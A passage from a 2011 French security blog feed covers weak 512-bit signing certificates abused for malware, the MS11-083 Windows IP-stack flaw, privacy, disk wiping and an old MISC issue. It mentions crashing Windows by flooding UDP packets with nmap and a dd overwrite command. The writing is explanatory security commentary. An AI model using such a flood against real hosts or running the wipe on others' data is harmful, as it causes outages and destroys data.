de Stuxnet, mais &lt;a href="http://blog.fox-it.com/2011/11/21/rsa-512-certificates-abused-in-the-wild/"&gt;une autre hypothèse émerge&lt;/a&gt;, sans doute plus plausible.&lt;br /&gt;&lt;br /&gt;La &lt;a href="http://fr.wikipedia.org/wiki/Malaisie"&gt;Malaisie&lt;/a&gt;&amp;nbsp;possède plusieurs sites gouvernementaux en .gov.my. Certains sont sécurisés en SSL. Un certificat signé par une autorité reconnue leur a donc été généré.&lt;br /&gt;C'est un de ces certificats qui a été utilisé pour signer le code d'un virus, explication de l'attaque.&lt;br /&gt;&lt;br /&gt;Si vous volez une clé privée associée à un certificat, alors il est possible de profiter de la confiance relative à ce certificat. Il se trouve que des certificats de serveurs webs en malaisie avait en utilisation de la clé l'autorisation de signature de code (premier problème). Dans une optique de moindre privilège, il est inutile de donner à un certificat authentifiant un site web une autorisation de signature de code! Si le pirate a la clé privée de ce certificat, alors il peut signer du code avec la confiance de ce certificat.&lt;br /&gt;&lt;br /&gt;Si un pirate n'a pas la clé privée, il peut essayer de la calculer. Une clé &lt;a href="http://en.wikipedia.org/wiki/RSA_numbers#RSA-768"&gt;RSA768 bits a été cassée &lt;/a&gt;en plus de deux ans et demis de calculs. Les docs de &lt;a href="http://www.ssi.gouv.fr/"&gt;l'ANSSI&lt;/a&gt; recommandent des clés &lt;a href="http://www.ssi.gouv.fr/site_documents/politiqueproduit/Mecanismes_cryptographique_v1_10_standard.pdf"&gt;supérieures à 1536 bits (chercher "Niveau standard"&lt;/a&gt;).&lt;br /&gt;Dans le cas du certificat malais, la clé ne faisait que 512 bits, et c'est le second problème! On peut donc dire que sa factorisation est possible en un temps relativement court. &lt;i&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;[A ce sujet, je n'ai pas trouvé de bench précis sur ce point. Si quelqu'un a des valeurs chiffrées, je prends.]&lt;/span&gt;&lt;/i&gt;. [1]&lt;br /&gt;&lt;br /&gt;Donc un autre scénario que le vol de clé privée se dessine: Un pirate scanne internet [2] à la recherche de certificats exhibant une clé faible et des privilèges de signature de code, casse la clé privée et l'utilise pour signer son code offensif. Aucune intrusion chez le possesseur de la clé est nécessaire. HeadShot.&lt;br /&gt;&lt;br /&gt;Nous savons que des CA sont à éviter, il faudrait désormais un mécanisme permettant de surveiller les certificats exhibant des particularités "faibles". Typiquement un certificat signé avec une clé de 512 bits ne doit pas être de confiance&amp;nbsp;indépendamment&amp;nbsp;de la validité de sa signature par une CA.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Note:&lt;br /&gt;[1]&amp;nbsp;Si quelqu'un sait casser une clé avant le 16 décembre, il peut profiter d'un certificat SSL valide! Le prendre&amp;nbsp;&lt;a href="https://www.fbcm.com.my/"&gt;ici&lt;/a&gt;. 512 bits de clé. Chrome refuse le téléchargement de la page pour cause de révocation, by the way.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;[2] Ce travail de scan des sites HTTPS est effectué en tâche de fond par&amp;nbsp;&lt;a href="https://www.eff.org/observatory"&gt;l'EFF&lt;/a&gt;, sans doute les pirates ont ils profité de ces bases?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-2866667481649503241?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/2866667481649503241/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/11/securite-ssl-et-certificat-malais.html#comment-form' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/2866667481649503241'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/2866667481649503241'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/11/securite-ssl-et-certificat-malais.html' title='Sécurité SSL et certificat malais compromis'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-5739885006125154437</id><published>2011-11-10T12:56:00.003+01:00</published><updated>2011-11-10T13:53:41.971+01:00</updated><title type='text'>Remote code execution sur pile IP - CVE-2011-2013 - MS-2011-83</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Mon flux RSS m'a remonté hier une vulnérabilité intéressante, &lt;a href="http://technet.microsoft.com/fr-fr/security/bulletin/ms11-083"&gt;MS-2011-83&lt;/a&gt;.&lt;br /&gt;L'attaque est dévastatrice: remote code execution sur pile IP. Cela signifie qu'il suffit qu'une machine windows soit connectée sur un réseau, &lt;i&gt;quels que soient es services en écoute (voire aucun)&lt;/i&gt;, pour qu'un attaquant puisse en prendre le contrôle. C'est donc le plus haut niveau de gravité possible.&lt;br /&gt;&lt;br /&gt;J'avais commencé à écrire un post de blog en faisant référence à mon message "&lt;a href="http://exploitability.blogspot.com/2010/07/tcpip-security-is-boring.html"&gt;TCP/IP security is boring&lt;/a&gt;" en indiquant le peu&amp;nbsp;d’intérêt&amp;nbsp;de la communauté de sécurité pour ce genre d'exploits. Mais au fur et à mesure de l'écriture du message, j'ai vu à ma bonne surprise mes fils d'actualités se remplir concernant cette faille.&lt;br /&gt;&lt;br /&gt;Les informations techniques sur cette faille sont maigres. Le bulletin microsoft est comme d'habitude&amp;nbsp;sibyllin.&lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Nous déduisons tout d'abord que seule la nouvelle pile IP est vulnérable du fait des systèmes impactés, à partir de Vista. Ce bulletin remplace le &lt;a href="http://technet.microsoft.com/fr-fr/security/bulletin/ms11-064.mspx"&gt;MS-2011-64&lt;/a&gt;, qui était lui aussi lié à un flot continu de paquets, mais ICMP.&lt;/li&gt;&lt;li&gt;Aucun Proof of Concept n'est disponible sur internet.&lt;/li&gt;&lt;li&gt;Le port UDP n'a pas à être en écoute Microsoft parle de "&lt;i&gt;closed port&lt;/i&gt;". Ceci à du sens, contrairement à ce que j'ai pu lire. Lorsqu'un paquet est reçu du réseau, un certain nombre de vérifications doivent être faites, menant éventuellement à son rejet. Ce paquet est donc copié en mémoire, puis analysé. Donc envoyer un (ou des) paquet(s) sur un port fermé conduit donc à&amp;nbsp;l’exécution&amp;nbsp;de plusieurs parties de code du système, dont l'une au moins semble vulnérable.&lt;/li&gt;&lt;li&gt;Les paquets UDP ne sont pas aléatoires. Le bulletin indique "&lt;i&gt;specially crafted&lt;/i&gt;", mais ne précise pas comment (ce qui est compréhensible).&lt;/li&gt;&lt;li&gt;L'exploitation de la faille est indiquée comme non triviale, mais possible, e&lt;a href="http://blogs.technet.com/b/srd/archive/2011/11/08/assessing-the-exploitability-of-ms11-083.aspx"&gt;xploitability index de 2&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;Un&amp;nbsp;&lt;a href="http://www.securityaegis.com/honey-potting-for-ms11-083/"&gt;honeypot&lt;/a&gt;&amp;nbsp;a été démarré, peut-être quelque chose en sortira, mais j'en doute.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Quelques informations ont émergées de mes flux, notamment celle-ci:&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.twitlonger.com/show/e30d0n"&gt;http://www.twitlonger.com/show/e30d0n&lt;/a&gt;&amp;nbsp;qui de plus fait référence à des paquets ICMP, et donc le précédent bulletin remplacé. Une piste? Le bulletin MS2011-64 était lié à des paquets ICMP entrants, le twitlonger fait référence à des paquets ICMP sortants, dûs à des paquets UDP envoyés à des ports fermés. Cela semble plausible.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;u&gt;Edit:&lt;/u&gt; L'auteur du twitlonger ci-dessus semble arriver à crasher windows:&lt;br /&gt;&lt;a href="http://twitter.com/#!/_fel1x/status/134392807816306688"&gt;http://twitter.com/#!/_fel1x/status/134392807816306688&lt;/a&gt;. Il "suffit" d'envoyer 2^32 paquets UDP via un simple nmap -sU pour avoir un déclencheur de cette faille. Bon, 2^32 paquets, ça semble un peu beaucoup tout de même. Calcul à la louche. Imaginons une carte 100Mbit/s, et un paquet UDP de 160 octets.&lt;br /&gt;&lt;br /&gt;(160x2³2)/100x10^6 = 6871 s, soit un peu plus de 2h de bombardement UDP continu au minimum...&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-5739885006125154437?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/5739885006125154437/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/11/remote-code-execution-sur-pile-ip-cve.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/5739885006125154437'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/5739885006125154437'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/11/remote-code-execution-sur-pile-ip-cve.html' title='Remote code execution sur pile IP - CVE-2011-2013 - MS-2011-83'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-4854949653786851801</id><published>2011-10-29T06:00:00.000+02:00</published><updated>2011-10-29T06:00:02.603+02:00</updated><title type='text'>Protéger ses données personnelles?</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Actuellement, si vous ne payez pas quelque chose, c'est que vous n'êtes pas le client, vous êtes le produit vendu. Le droit d'entrée sur facebook est gratuit, mais vos données personnelles sont revendues.&lt;br /&gt;Une initiative comme celle de&amp;nbsp;&lt;a href="http://www.identityblog.com/?p=1201"&gt;Max Schrems&lt;/a&gt;&amp;nbsp;est très intéressante. Il a demandé et obtenu l'intégralité des informations qu'a enregistré facebook sur lui-même. Résultat: plus de 1200 pages d'informations, dont certaines qu'il ne soupçonnait même pas (!)&lt;br /&gt;&lt;br /&gt;Tout un chacun veut protéger sa vie privée, mais est prêt à l'exposer sur son mur. Quelques uns ont fait les frais de ces mises à nu (&lt;a href="http://www.le-tigre.net/Marc-L.html"&gt;Marc.L&lt;/a&gt; par exemple) et se méfient sans doute un peu plus, mais la majorité s'en soucie guère.&lt;br /&gt;&lt;br /&gt;Plusieurs raisons peuvent peut-être expliquer cela. D'un côté il y a un avantage immédiat (ou supposé tel) d'augmenter sa visibilité dans le monde virtuel (réseau professionnel, amis, etc..): j'ai mis mon CV sur linkedin, j'ai un poste, je suis invité aux soirées, etc... A l'opposé les risques de cette exposition sont bien plus incertains, beaucoup moins bien exprimés et clairement plus lointains.&lt;br /&gt;&lt;br /&gt;La protection est de plus contraignante, et n'est pas non plus suffisamment&amp;nbsp;motivante en regard du bénéfice attendu de la diffusion de ses données personnelles.&lt;br /&gt;&lt;br /&gt;Je pense que la protection des données par non diffusion de celles-ci ne fonctionnera pas; mais que se passerait il si on inversait la position du possesseur de la donnée? C'est à dire faire un &lt;a href="http://fr.wikipedia.org/wiki/Donn%C3%A9es_ouvertes"&gt;opendata&lt;/a&gt; personnel.&lt;br /&gt;C'est &lt;i&gt;ma&lt;/i&gt; donnée, &lt;i&gt;je&lt;/i&gt; veux avoir tout d'abord le droit d'accès et d'utilisation: un genre de google personnalisé sur tous ces sites. Quel&amp;nbsp;agrégation&amp;nbsp;puis-je faire des enregistrements de mon téléphone portable sur les différentes bornes par exemple? Est ce que je peux récupérer toutes les images me montrant sur les caméras de vidéo surveillance? Ensuite, il devrait exister un droit de suppression de n'importe quel donnée. Enfin, mais c'est un voeu pieux, les outils de datamining utilisés pour le profiling devraient être publics. Je pense que si les gens deviennent capables d'ordonner et trier leurs données aussi bien que ces entreprises tierces, ils pourront d'une part en tirer un bénéfice[1], et d'autre part mieux surveiller l'usage qui en sera fait.&lt;br /&gt;&lt;br /&gt;La sécurité des données personnelles en sera d'autant plus élevée. Cela n'est qu'un avis personnel, bien sûr.&lt;br /&gt;&lt;br /&gt;[1] je cherche un outil capable d'analyser mes déplacements urbains par exemple.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-4854949653786851801?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/4854949653786851801/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/10/proteger-ses-donnees-personnelles.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/4854949653786851801'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/4854949653786851801'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/10/proteger-ses-donnees-personnelles.html' title='Protéger ses données personnelles?'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-746816097713524700</id><published>2011-10-28T06:00:00.000+02:00</published><updated>2011-10-28T06:00:08.498+02:00</updated><title type='text'>La destruction de données sur disque</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Il est courant de lire sur internet des déclarations sur le nombre de passes nécessaires à faire sur un disque pour nettoyer les données inscrites dessus. On retrouve les chiffres de 3,5,7 ou 35 passes avec des motifs différents, et le nom de &lt;a href="http://en.wikipedia.org/wiki/Gutmann_method"&gt;Gutmann&lt;/a&gt; est généralement cité. L'&lt;a href="http://www.cs.auckland.ac.nz/~pgut001/pubs/secure_del.html"&gt;étude de Gutmann&lt;/a&gt; date de 1996, ce qui est ancien.&lt;br /&gt;&lt;br /&gt;1/ Le problème de l'effacement de données.&lt;br /&gt;Lorsque l'on efface un fichier, il est rare que le fichier soit effectivement effacé du disque. Seule la référence vers ce fichier est effacée. Des outils permettent de récupérer des fichiers effacés par erreur (ma préférence va a &lt;a href="http://www.cgsecurity.org/wiki/PhotoRec_FR"&gt;photorec&lt;/a&gt; qui est très efficace).&lt;br /&gt;&lt;br /&gt;2/ L'écrasement de données.&lt;br /&gt;La solution pour supprimer une donnée d'un disque consiste alors à l'écraser par une autre. Les outils de récupération ne liront que la nouvelle donnée, et non l'ancienne, recouverte. A ce titre, l'avertissement de photorec est très clair: "&lt;i&gt;Sitôt que manque à l'appel une photo ou un fichier ou que vous les avez détruits par erreur,&amp;nbsp;&lt;b&gt;cessez&lt;/b&gt;&amp;nbsp;d'enregistrer toute autre photo ou fichier sur le disque dur ou la carte mémoire concerné; autrement vous risqueriez d'écraser les données perdues&lt;/i&gt;".&lt;br /&gt;Néanmoins, Gutmann indique dans son étude que ce n'est pas toujours le cas.&lt;br /&gt;&lt;br /&gt;Il&amp;nbsp;s’appuie&amp;nbsp;pour cela d'imageries au microscope électronique de disques dur pour montrer que les enregistrements successifs des bits sur les plateaux ne sont pas parfaits. Ainsi les enregistrements 'bavent' un peu, et il est possible de retrouver l'ancien bit après réécriture. L'hypothèse est jugée crédible en 1996.&lt;br /&gt;&lt;br /&gt;La solution de Gutmann: 7 passes semblent trop peu, il préconsise donc 35 passes de réécriture de motifs différents afin de pouvoir éviter cette relecture.&lt;br /&gt;&lt;br /&gt;3/ Alors on fait 35 passes&lt;br /&gt;En fait, depuis le papier de Gutmann, il s'est passé beaucoup de temps. Son analyse portait sur des anciens disques, avec d'anciens modes d'écriture de données (&lt;a href="http://en.wikipedia.org/wiki/Run_length_limited"&gt;MFM, RLL&lt;/a&gt; pour ceux qui s'en souviennent ça précède &lt;a href="http://en.wikipedia.org/wiki/Parallel_ATA#IDE_and_ATA-1"&gt;l'IDE&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;Gutmann a updaté de nombreuses fois son article pour indiquer que les technologies évoluent (&lt;i&gt;Epilogue&lt;/i&gt;, puis&amp;nbsp;&lt;i&gt;Further Epilogue&lt;/i&gt;, et enfin&amp;nbsp;&lt;i&gt;Even Further Epilogue&lt;/i&gt;). On peut y lire dans l'épilogue:&lt;br /&gt;"&lt;i&gt;In fact performing the full 35-pass overwrite is pointless for any drive since it targets a blend of scenarios involving all types of (normally-used) encoding technology, which covers everything back to 30+-year-old MFM methods&lt;/i&gt;"&lt;br /&gt;Le further epilogue&amp;nbsp;re-précise&amp;nbsp;entre autre:&lt;br /&gt;"&lt;i&gt;even if you reproduced it, you'd just have done something with technology that hasn't been used for ten years&lt;/i&gt;"&lt;br /&gt;Et enfin, dans l'Even Further Epilogue: "&lt;i&gt;Flash memory barely existed at the time it was written, and SSDs didn't exist at all. (...) SSDs are a totally different technology than magnetic media, and require totally different deletion techniques. In particular you need to be able to bypass the flash translation layer and directly clear the flash blocks. In the absence of this ability, the best you can hope to do is thrash the wear-levelling to the point where as much of the data as possible gets overwritten, but you can't rely on any given piece of data being replaced, which means that an attacker who can bypass the translation layer can recover the original data.&lt;/i&gt;"&lt;br /&gt;&lt;br /&gt;4/ Mais que faire?&lt;br /&gt;D'emblée, il est inutile de faire ces fameuses 35 passes. Faut il en faire alors 7 ou 5 ou 3?&lt;br /&gt;Je préconise une seule passe avec dd if=/dev/urandom of=... , cela étant bien suffisant pour mes disques magnétiques.&lt;br /&gt;&lt;br /&gt;La page&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Data_remanence"&gt;http://en.wikipedia.org/wiki/Data_remanence&lt;/a&gt;&amp;nbsp;(remplie de très bons liens) indique "&lt;i&gt;On the other hand, according to the 2006 NIST Special Publication 800-88 (p. 7): "Studies have shown that most of today’s media can be effectively cleared by one overwrite" and "for ATA disk drives manufactured after 2001 (over 15 GB) the terms clearing and purging have converged." An analysis by Wright et al. of recovery techniques, including magnetic force microscopy, also concludes that a single wipe is all that is required for modern drives. They point out that the long time required for multiple wipes "has created a situation where many organisations ignore the issue all together – resulting in data leaks and loss.&lt;/i&gt; "&lt;br /&gt;&lt;br /&gt;Quoi qu'il en soit, c'est toujours un sujet propre au &lt;a href="http://en.wikipedia.org/wiki/Fear,_uncertainty_and_doubt"&gt;FUD&lt;/a&gt; car il n'existe que peu de publications à ce sujet, et la plupart d'entre elles reprennent l'article de Gutmann sans vraiment l'avoir lu (genre, faites 35 passes avec shred pour effacer un fichier sur clé USB. Ouch.).&lt;br /&gt;&lt;br /&gt;Concernant les SSD, c'est effectivement différent. Je cite&amp;nbsp;&lt;a href="http://nvsl.ucsd.edu/sanitize/"&gt;http://nvsl.ucsd.edu/sanitize/&lt;/a&gt;&amp;nbsp;qui dit: "Our results show that naïvely applying techniques designed for sanitizing hard drives on SSDs, such as overwriting and using built-in secure erase commands is unreliable and sometimes results in all the data remaining intact."&lt;br /&gt;&lt;br /&gt;Alors, oui on ne sait pas de quoi sont capables les &lt;a href="http://www.interieur.gouv.fr/sections/a_l_interieur/la_police_nationale/organisation/dcri"&gt;organisations&lt;/a&gt; à &lt;a href="http://www.nsa.gov/"&gt;grandes&lt;/a&gt; &lt;a href="http://fr.wikipedia.org/wiki/Frenchelon"&gt;oreilles&lt;/a&gt;, oui, on a très peu de papiers techniques sur ce sujet, mais non, arrêtez de faire 35 passes sur ces pauvres disques :-)&lt;br /&gt;Par contre, si vous êtes administrateur et que vous voulez vous couvrir auprès d'une autorité, alors détruisez les disques cela évite de se poser trop de questions.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-746816097713524700?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/746816097713524700/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/10/la-destruction-de-donnees-sur-disque.html#comment-form' title='5 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/746816097713524700'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/746816097713524700'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/10/la-destruction-de-donnees-sur-disque.html' title='La destruction de données sur disque'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-5513238953085818261</id><published>2011-10-27T06:00:00.000+02:00</published><updated>2011-10-27T06:00:07.830+02:00</updated><title type='text'>Mars Avril 2003 - MISC N°6</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;En rangeant un placard je suis retombé sur un vieux numéro de &lt;a href="http://www.miscmag.com/"&gt;MISC&lt;/a&gt;:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-14QI1x9Yhpo/TqhoRltlEQI/AAAAAAAAAG4/qH7nWJKT_04/s1600/misc6.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://1.bp.blogspot.com/-14QI1x9Yhpo/TqhoRltlEQI/AAAAAAAAAG4/qH7nWJKT_04/s320/misc6.jpg" width="243" /&gt;&lt;/a&gt;&lt;/div&gt;que je n'ai pu m'empêcher de refeuilleter. Alors, avec une vision d'octobre 2011, comment était la sécurité en mars/avril 2003? Différente? Totalement dépassée?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;L'édito parle d'une &lt;a href="http://www.sstic.org/"&gt;nouvelle conférence de sécurité&lt;/a&gt; :-) et fait un appel à papier à ce sujet. &lt;br /&gt;&lt;br /&gt;Le premier article parle de cyber-terrorisme. Sujet éminemment à la mode depuis stuxnet aujourd'hui. Il est bien entendu fait mention des liens entre les réseaux informatiques et les infrastructures du monde réel. Un historique du cyberterrorisme remonte jusqu'en 1996. [&lt;span style="font-size: x-small;"&gt; On y retrouve des délicieux termes obsolètes comme "&lt;i&gt;mail bombing&lt;/i&gt;" ou des valeurs chiffrées: "&lt;i&gt;engorgé les serveurs avec environ 800 mails par jour&lt;/i&gt;" (c'était en 1998).&amp;nbsp;&lt;/span&gt; ]&lt;br /&gt;La conclusion est titrée L'AVENIR. Alors? Le risque viendra des vers, qui se répliqueront de plus en plus vite (quelques secondes) sans laisser de temps à l'administrateur de réagir. Le second risque viendra des vers capables de se mettre à jour de manière autonome et de chercher des instructions sur des canaux IRC en étant plus discrets. Les vers les plus violents utiliseront des 0day (même si le mot n'est pas employé en tant que tel).&lt;br /&gt;&lt;br /&gt;Le second article traite de l'aléa. La conclusion indique que lors de l'utilisation d'un système cryptographique, la vérification de la qualité du générateur aléatoire doit être effectuée sous peine de surprises.&lt;br /&gt;&lt;br /&gt;Le troisième article explique le fonctionnement d'un virus de boot, appelé STEALTH.&lt;br /&gt;&lt;br /&gt;La partie principale est dédiée au Wifi. Première partie, présentation. Bon, tout le monde connaît aujourd'hui. L'article finit en indiquant une adoption rapide du wifi aux USA et qui arrive en france. Nous sommes en2003. La seconde partie explique les principes de la norme&amp;nbsp; 802.11 (caractéristiques physiques, logiques, format de trames, etc..). Le WEP est évoqué en signalant que les problèmes de sécurité sont pour les autres articles :-). La troisième partie parle des attaques réseaux sur 802.11b. Le wireless, c'est bien, mais cela revient à un attaquant d'avoir accès au média. Donc découverte de réseau, DOS, bruteforce de clé, rogue AP, et j'en passe, je cite: "De quoi faire devenir fou et/ou paranoïaque n'importe quel RSSI un peu tatillon" :-). Quatrième partie, la sécurité du WEP. Les noms de Fluhrer, Mantin et Shamir sont cités abondamment. Pour récupérer une clé à l'époque: 5 à 6 millions de trames sont nécessaires (aujourd'hui, on fait mieux). A l'époque, pas d'&lt;a href="http://fr.wikipedia.org/wiki/Aircrack"&gt;aircrack&lt;/a&gt; :-) LA cinquième et dernière partie parle des autres technos sans fils: bluetooth, hiperlan. Ceci dit, on trouve dans l'article un paragraphe qui parle du wifi, et enfin du WPA! (La norme a été terminée en 2004). Ce qui signifie qu'à cette époque on pouvait réellement parler d'insécurité du wifi: les attaques (théoriques) existaient mais les technos se déployaient.&lt;br /&gt;&lt;br /&gt;Retour au quatrième article sur un mode de communication userland/kernelland sous linux: kernsh. Il est aujourd'hui connu sous le nom d'&lt;a href="http://www.eresi-project.org/"&gt;ERESI&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Cinquième article, plus tourné "cookbook" expliquant comment sécuriser son serveur FreeBSD, version 4.7&lt;br /&gt;&lt;br /&gt;Ensuite une fiche pratique du CLUSIF, qui rejoint le thème du dossier. Les menaces, enjeux, parades des réseaux sans fils.&lt;br /&gt;&lt;br /&gt;Le sixième article parle d'IPv6. En 2003, morceaux choisis: "le réseau internet IPv6 est encore très laxiste au niveau de la sécurité" et "L'expérience et l'histoire prouvent que des erreurs de programmation sont sans cesse refaites et les failles réintroduites dans les nouveaux développements"&lt;br /&gt;&lt;br /&gt;Le septième article explique les problématiques de &lt;a href="http://en.wikipedia.org/wiki/Timing_attack"&gt;timing attack&lt;/a&gt;, et l'applique (entre autre) à RSA.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-size: x-small;"&gt;[ Pour la petite histoire, les deux dernières pages font de la publicité pour un magasin d'informatique. A l'époque, une clé USB 16Mo (si, si) fait 24euro90 et une clé de 512 en faisait 239,90 (!) ]&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;La sécurité d'il y a 8 ans est elle vraiment différente de celle d'aujourd'hui?&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-5513238953085818261?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/5513238953085818261/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/10/mars-avril-2003-misc-n6.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/5513238953085818261'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/5513238953085818261'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/10/mars-avril-2003-misc-n6.html' title='Mars Avril 2003 - MISC N°6'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-14QI1x9Yhpo/TqhoRltlEQI/AAAAAAAAAG4/qH7nWJKT_04/s72-c/misc6.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-1944339674410374962</id><published>2011-10-26T06:00:00.000+02:00</published><updated>2011-10-26T06:00:08.750+02:00</updated><title type='text'>Casser le schéma de sécurité d'un portable chiffré</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Imaginons un &lt;a href="http://fr.wikipedia.org/wiki/Responsable_de_la_s%C3%A9curit%C3%A9_des_syst%C3%A8mes_d%27information"&gt;RSSI&lt;/a&gt;&amp;nbsp;consciencieux&amp;nbsp;qui décide de chiffrer sa flotte d'ordinateurs portables afin d'éviter la fuite d'information en cas de perte ou de vol, ou de malveillance interne.&lt;br /&gt;Il décide de renforcer la sécurité des machines:&lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Le système installé est linux, dupliqué sur tous les portables.&lt;/li&gt;&lt;li&gt;Un firewall est configuré à l'aide d'&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;iptables&lt;/span&gt; et ce firewall est indispensable à la sécurité de la machine.&lt;/li&gt;&lt;li&gt;Il a lu mon article concernant le &lt;a href="http://2010.rmll.info/Le-chiffrement-de-disque-sous-linux-vrai-ou-faux-sentiment-de-securite.html"&gt;faux sentiment de sécurité&lt;/a&gt; lié au chiffrement de disque et utilise une puce TPM pour garantir l'intégrité de la chaîne de démarrage.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;Et pourtant, il est possible de casser ce schéma de sécurité. Vous êtes un pentesteur (par exemple), et vous voulez accéder à la machine d'un tiers.&amp;nbsp;Vous avez temporairement un accès à cette machine, comment faire?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;1/ Tout d'abord, inutile d'essayer de casser le code de déchiffrement par force brute. On considère que les utilisateurs ont eu une bonne formation et que le 